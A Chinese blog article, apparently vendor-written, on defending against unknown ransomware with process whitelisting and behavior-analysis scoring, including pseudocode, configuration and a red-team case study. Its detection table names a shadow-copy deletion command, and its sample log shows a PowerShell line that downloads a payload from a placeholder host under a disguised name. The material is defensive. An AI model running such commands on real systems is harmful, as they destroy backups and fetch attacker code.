在这里插入图片描述

前言:一次凌晨3点的勒索攻击

2025年11月,某制造企业的文件服务器在凌晨3点被加密。攻击路径很简单:一个外包运维的远程桌面密码被撞库 → 内网横向移动 → 找到文件服务器 → 运行勒索程序 → 全盘文件被加密。

企业不是没有安全投入:防火墙、杀毒软件、EDR、定期漏洞扫描——全配齐了。但勒索程序是一个全新的变种,所有杀毒引擎都报"无威胁"。

安全团队的事后复盘写得很诚恳:“我们防住了1000种已知病毒,但第1001种未知的,我们没防住。”

这就引出一个问题:传统的"黑名单"防御模型,在面对不断变异的勒索病毒时,是否已经到达能力边界?


一、为什么杀毒软件防不住未知勒索病毒

1.1 勒索病毒的"免杀产业链"

今天一个勒索团伙发起攻击的流程大致是这样的:

编写勒索程序 → 上传 VirusTotal 测试 → 被杀软识别?
                                        ↓
                          是 → 修改特征码/加壳混淆 → 重新上传
                                        ↓
                          否 → 分发攻击 → 勒索成功

这个循环可以在一小时内完成。攻击者使用自动化工具批量生成变种,每次生成的特征码完全不同,传统基于签名的杀毒软件无力应对。

1.2 三种主流防御模型的对比

模型 原理 对已知病毒 对未知病毒 典型代表
特征码 维护病毒签名库,匹配合并 ✅ 有效 ❌ 完全无效 传统杀软
行为分析 监控进程行为,识别异常模式 ✅ 有效 ⚠️ 部分有效 EDR/XDR
进程白名单 只允许已知合法进程运行 ✅ 有效 ✅ 有效 应用控制

进程白名单的核心逻辑是反向思维:不猜谁是坏人,只认谁是好人。不在名单上的进程,一律拦截。这个思路从根本上解决了"未知病毒无法识别"的问题。

1.3 为什么单纯白名单还不够

纯白名单方案有一个明显的短板:合法进程被滥用

攻击者可以注入到合法进程(如 explorer.exesvchost.exe)中执行恶意代码,或者利用 PowerShell、WMI 等系统工具进行"无文件攻击"。在这种情况下,白名单不会拦截——因为从进程名字看,一切都是合法的。

所以真正有效的方案是白名单 + 行为分析双引擎:白名单负责"身份核验",行为分析负责"言行一致检查"。


二、进程白名单机制深度拆解

2.1 三层信任链

一个成熟的进程白名单方案不是简单维护一个"允许执行"的列表,而是构建一条从内核到应用层的信任链:

┌───────────────────────────────────────┐
│            第三层:应用进程              │
│  只允许签名验证通过的EXE/DLL/Script执行   │
├───────────────────────────────────────┤
│            第二层:系统服务              │
│   白名单内的Windows服务 + 容器进程       │
├───────────────────────────────────────┤
│            第一层:内核驱动              │
│    内核级文件过滤驱动,Ring0先行拦截      │
└───────────────────────────────────────┘

第一层(内核驱动):在操作系统内核层面注册文件过滤驱动,所有文件执行请求必须先经过驱动审核。这是整个防御体系的最前线,攻击者即使获得了管理员权限,也无法绕过内核级拦截。

第二层(系统服务):对系统服务进行签名校验,防止恶意服务伪装成系统服务自启动。

第三层(应用进程):对用户态的可执行文件、动态链接库、脚本引擎进行签名验证和执行控制。

2.2 文件完整性校验

除了进程名称校验,更关键的是文件完整性校验。具体做法是对每个白名单内的可执行文件计算哈希值(SHA-256),执行前先比对哈希:

# 白名单校验原理示意(Python伪代码)
import hashlib
import json

class WhitelistValidator:
    def __init__(self, whitelist_db):
        # 白名单数据库:{文件路径: SHA256哈希}
        self.whitelist = whitelist_db
    
    def validate_before_execute(self, filepath):
        # 1. 检查文件是否在白名单中
        if filepath not in self.whitelist:
            self.block_and_alert(f"未授权的可执行文件: {filepath}")
            return False
        
        # 2. 计算当前文件的哈希值
        current_hash = self._sha256(filepath)
        expected_hash = self.whitelist[filepath]
        
        # 3. 比对哈希——即使文件名/路径相同,内容被篡改也能发现
        if current_hash != expected_hash:
            self.block_and_alert(f"文件完整性校验失败: {filepath},可能已被篡改")
            return False
        
        return True
    
    def _sha256(self, filepath):
        sha = hashlib.sha256()
        with open(filepath, 'rb') as f:
            for chunk in iter(lambda: f.read(8192), b''):
                sha.update(chunk)
        return sha.hexdigest()
    
    def block_and_alert(self, message):
        # 写入安全日志并触发告警
        print(f"[BLOCKED] {message}")

这种机制可以防御一种常见的高级攻击手法:替换合法文件。攻击者可能把恶意程序命名为 notepad.exe 放到临时目录——只要它的哈希值与白名单中的 notepad.exe 不一致,就会直接被拦截。

2.3 脚本引擎的特殊处理

白名单最大的难点其实是脚本引擎。PowerShell、Python、VBScript 这些合法解释器一旦进入白名单,攻击者就可以通过脚本做几乎任何事情。

解决方案是 脚本内容审查 + 执行权限分级

执行请求 → 判断文件类型
         ├── .exe/.dll → 签名+哈希校验 → 放行/拦截
         ├── .ps1/.vbs → 脚本内容扫描 → 匹配规则?
         │                              ├── 无风险 → 放行
         │                              └── 有风险 → 拦截+告警
         └── .py/.js → 按策略:直接拦截 / 沙箱执行

三、行为分析引擎:从"你是谁"到"你在干什么"

3.1 行为基线建模

行为分析的核心思路是:正常情况下,系统进程会做什么,不会做什么

一个正常运维场景中的行为模式:

  • sqlservr.exe → 读写 .mdf/.ldf 数据库文件 → 正常
  • backup.exe → 遍历文件目录、大量读取、写入备份目标 → 正常

一个勒索攻击场景中的行为模式:

  • 未知进程 → 大量遍历文件目录 → 对每个文件进行读写-重命名/加密操作 → 删除卷影副本 → 异常

行为分析引擎在部署后会先进入学习模式(通常1-7天),建立正常行为基线。之后切换到保护模式,任何偏离基线的行为都会触发告警或拦截。

3.2 勒索家族的行为特征画像

经过多年对抗,安全研究人员已经总结出勒索病毒的典型行为模式:

行为特征 具体表现 检测方法
文件熵值突变 加密后的文件熵值接近8(随机数据特征),正常文件熵值通常4-6 实时计算被修改文件的熵值
批量重命名 短时间内大量文件被重命名(.locked/.encrypted/.id[ID]等后缀) 监控文件系统重命名事件频率
卷影副本删除 执行 vssadmin delete shadows /all 类命令 监控特定系统命令调用
修改启动项/计划任务 确保重启后继续加密 监控注册表/计划任务写入
遍历式文件访问 按固定模式遍历所有盘符和目录 分析文件访问序列模式

3.3 触发条件与响应策略

行为分析引擎不是每个异常都拦截——那样误报率会很高。它采用评分累积机制

异常行为评分规则(示例):

事件                              分值    阈值
─────────────────────────────────────────────
遍历大于100个文件目录              +10     
修改非文档类文件                   +5      
文件熵值 > 7.5                    +30      
删除卷影副本命令执行               +50      ─── 累计≥60 → 立即拦截
批量重命名(1分钟>20个)           +20      
操作非工作时间(22:00-06:00)      +15      ─── 累计≥40 → 告警通知

通过评分累积,可以做到:单个可疑行为不误拦,但多个行为组合达到阈值后精准拦截。


四、实战案例:某国投集团文件服务器防护

案例脱敏自某央企的投资管理平台。该平台管理着大量敏感的投资决策文件,是集团护网演练的重点攻击目标。

4.1 攻防场景还原

攻击方:某护网红队,使用自研的勒索工具(特征码不在任何杀软库中)
攻击路径:钓鱼邮件 → 内网横向 → 文件服务器 → 执行勒索

防护方部署情况

  • 防火墙 ✅
  • NDR流量检测 ✅
  • EDR端点检测 ✅(未能识别自研勒索工具)
  • RDM进程白名单 + 行为分析

4.2 拦截过程日志还原

2025-09-15 14:23:01 [WHITELIST] BLOCK  C:\Users\admin\Downloads\update.exe  
  Reason: 不在白名单中,签名无效
  Action: 拦截

2025-09-15 14:23:05 [BEHAVIOR]  ALERT  powershell.exe  
  Command: Invoke-WebRequest -Uri http://xxx.xxx/payload.exe -OutFile C:\temp\svchost.exe
  Score: +15  规则:下载可执行文件到临时目录
  Action: 告警

2025-09-15 14:23:12 [WHITELIST] BLOCK  C:\temp\svchost.exe  
  Reason: 路径不合法(C:\temp\*不在白名单目录),且SHA256不匹配合法svchost
  Action: 拦截

2025-09-15 14:25:00 [BEHAVIOR]  ALERT  未知脚本通过WMI执行
  Score: +20  规则:WMI远程执行
  Action: 告警,安全团队介入

最终结果:红队尝试了4条不同的攻击路径,全部在进程执行阶段被白名单拦截。行为分析引擎累计产生7条告警,安全团队在15分钟内完成了溯源和封堵。护网结束后的复测中,攻击方0突破

4.3 与仅使用杀毒软件的对照组对比

同一集团另一个未部署白名单的业务单元在护网期间的情况:

指标 部署白名单单元 未部署白名单单元
文件服务器被加密 0次 2次(均通过自研病毒)
检测到攻击尝试 7次 0次(攻击成功后才发现)
平均响应时间 15分钟 4小时(数据恢复)
护网复测结果 0突破 2突破

五、部署与实施要点

5.1 四阶段上线策略

阶段1:学习模式(1-7天)
  → 自动采集环境中所有合法进程和数据
  → 建立初始白名单和行为基线
  → 不拦截,只记录

阶段2:告警模式(3-7天)  
  → 白名单正式启用
  → 非白名单进程告警但不拦截
  → 管理员确认后批量加入白名单

阶段3:保护模式(正式运行)
  → 白名单开启拦截
  → 行为分析开启自动拦截
  → 定期(每周)审查白名单变更

阶段4:持续优化
  → 软件更新时同步更新白名单
  → 基线动态调整
  → 月度安全报告

5.2 几条关键配置

# RDM核心配置示例
protection:
  # 进程白名单
  whitelist:
    mode: enforce                    # learn | alert | enforce
    paths:
      - "C:\\Program Files\\*"
      - "C:\\Windows\\System32\\*"
    exclude_paths:                   # 用户可写目录必须排除
      - "C:\\Users\\*\\Downloads\\*"
      - "C:\\Users\\*\\AppData\\Local\\Temp\\*"
    hash_check: true                 # 开启哈希校验
    
  # 脚本管控
  script_control:
    powershell: restricted           # restricted | constrained | full
    vbscript: blocked                # blocked | restricted | full
    python: restricted               # 仅允许指定目录下的脚本
    
  # 行为分析
  behavior_analysis:
    learning_period_days: 7
    entropy_threshold: 7.2           # 文件熵值阈值
    mass_rename_threshold: 20        # 1分钟内重命名次数阈值
    shadow_copy_protection: true     # 保护卷影副本
    auto_block_score: 60             # 自动拦截阈值
    alert_score: 40                  # 告警阈值
    
  # 恢复保护
  recovery:
    shadow_copy_protection: true
    backup_integrity_check: true

5.3 常见误报场景与处理

场景 原因 处理方式
软件更新被拦截 新版本哈希值变更 更新前统一维护白名单
开发编译输出被拦截 编译产物每次哈希不同 配置开发目录为监控模式(不拦截)
运维脚本被拦截 脚本不在白名单目录 统一脚本存放目录并加入白名单
容器镜像构建被拦截 容器临时目录不在白名单 为容器相关目录单独配置策略

六、与TDE透明加密的协同防护

RDM(防勒索)解决的是"不让恶意程序跑起来"的问题,但如果文件已经被加密了怎么办?这就是RDM与TDE透明加密协同的价值:

攻击链路上各层的防御:
                              
用户操作 → 应用层 → 文件系统层 → 磁盘层
           ↑RDM拦截    ↑TDE透明加密
         (进程层)    (数据层)
  • RDM:在进程执行阶段拦截,阻止勒索程序运行
  • TDE透明加密:即使RDM被绕过(比如通过漏洞利用),TDE确保只有合法进程能读到明文——勒索程序读到的文件内容是密文,加密后的结果仍是不可用的密文

两者配合,构成了进程层 + 数据层的双重防线。


总结

勒索病毒防御经历了三个阶段:

  1. 杀毒软件时代:“我知道你是谁,所以我能防你” → 对已知有效,对未知无效
  2. 行为分析时代:“我不知道你是谁,但我看你做的事不对劲” → 有一定延迟,可能漏过
  3. 白名单+行为分析时代:“我不需要知道你是谁,你不在名单上就别想跑” → 从根本上解决未知病毒问题

从护网实战案例看,白名单+行为分析双引擎方案是当前对抗未知勒索病毒最有效的手段。当然,没有100%的安全——技术方案落地过程中的运维策略(学习模式、误报处理、白名单更新)同样决定了最终效果。


💬 话题讨论:你们公司有没有遭遇过勒索攻击?目前是用什么方式防御的——杀毒软件、EDR、还是白名单?欢迎评论区交流,聊聊你的实践经验。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐